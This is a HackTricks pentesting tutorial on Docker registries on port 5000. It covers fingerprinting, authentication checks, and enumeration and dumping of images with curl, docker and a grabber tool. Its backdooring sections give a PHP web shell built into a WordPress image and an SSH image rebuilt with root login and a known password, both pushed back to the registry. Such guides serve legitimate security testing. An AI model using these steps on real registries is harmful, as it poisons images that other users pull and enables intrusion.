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hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md
Carlos Polop dc1a2bea04 b
2024-07-19 01:16:27 +02:00

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# 5000 - Pentesting Docker Registry
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details>
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</details>
{% endhint %}
## Basic Information
A storage and distribution system known as a **Docker registry** is in place for Docker images that are named and may come in multiple versions, distinguished by tags. These images are organized within **Docker repositories** in the registry, each repository storing various versions of a specific image. The functionality provided allows for images to be downloaded locally or uploaded to the registry, assuming the user has the necessary permissions.
**DockerHub** serves as the default public registry for Docker, but users also have the option to operate an on-premise version of the open-source Docker registry/distribution or opt for the commercially supported **Docker Trusted Registry**. Additionally, various other public registries can be found online.
To download an image from an on-premise registry, the following command is used:
```bash
docker pull my-registry:9000/foo/bar:2.1
```
This command fetches the `foo/bar` image version `2.1` from the on-premise registry at the `my-registry` domain on port `9000`. Conversely, to download the same image from DockerHub, particularly if `2.1` is the latest version, the command simplifies to:
```bash
docker pull foo/bar
```
**Default port:** 5000
```
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
## Discovering
The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it.\
Some fingerprints:
* If you access `/` nothing is returned in the response
* If you access `/v2/` then `{}` is returned
* If you access `/v2/_catalog` you may obtain:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
## Enumeration
### HTTP/HTTPS
Docker registry may be configured to use **HTTP** or **HTTPS**. So the first thing you may need to do is **find which one** is being configured:
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
### Authentication
Docker registry may also be configured to require **authentication**:
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
If the Docker Registry is requiring authentication you can[ **try to brute force it using this**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**If you find valid credentials you will need to use them** to enumerate the registry, in `curl` you can use them like this:
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
### Enumeration using DockerRegistryGrabber
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is a python tool to enumerate / dump docker degistry (without or with basic authentication)
```bash
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
____ ____ ____
| _ \ | _ \ / ___|
| | | || |_) || | _
| |_| || _ < | |_| |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu
positional arguments:
url URL
options:
-h, --help show this help message and exit
-p port port to use (default : 5000)
Authentication:
-U USERNAME Username
-P PASSWORD Password
-A header Authorization bearer token
Actions:
--list
--dump_all
--dump DOCKERNAME DockerName
Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
### Enumeration using curl
Once you **obtained access to the docker registry** here are some commands you can use to enumerate it:
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
Note that when you download and decompress the blobs files and folders will appear in the current directory. **If you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs**, so be careful. It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob.
{% endhint %}
### Enumeration using docker
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
### Backdooring WordPress image
In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it.\
**Create** the **backdoor**:
{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
{% endcode %}
Create a **Dockerfile**:
{% code title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
{% endcode %}
**Create** the new image, **check** it's created, and **push** it:
```bash
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
```
### Backdooring SSH server image
Suppose that you found a Docker Registry with a SSH image and you want to backdoor it.\
**Download** the image and **run** it:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
Extract the `sshd_config` file from the SSH image:
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
And modify it to set: `PermitRootLogin yes`
Create a **Dockerfile** like the following one:
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}
**Create** the new image, **check** it's created, and **push** it:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
## References
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
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